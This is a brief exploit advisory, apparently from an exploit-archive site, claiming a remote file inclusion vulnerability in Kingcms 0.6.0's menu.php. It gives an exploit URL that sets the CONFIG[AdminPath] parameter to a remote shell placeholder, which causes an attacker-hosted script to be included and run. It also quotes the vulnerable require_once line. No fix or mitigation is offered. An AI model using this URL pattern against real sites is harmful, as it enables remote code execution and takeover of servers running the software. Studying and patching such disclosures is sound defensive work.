Kingcms 0.6.0 (menu.php) Remote File Inclusion Vulnerability

------------------------------------------------------------------------------------- Kingcms v0.6.0 [menu.php] Remote File Inclusion Vulnerability ------------------------------------------------------------------------------------- Author: CoBRa_21 Mail: uyku_cu[at]windowslive[dot]com Script Download: http://sourceforge.net/projects/kingcms/ ------------------------------------------------------------------------------------- EXPLOİT: http://localhost/[PATH]/include/engine/content/elements/menu.php? CONFIG[AdminPath] =[SHELL] ------------------------------------------------------------------------------------- BUG: <? require_once($CONFIG['AdminPath'] . "/include/engine/folder.php");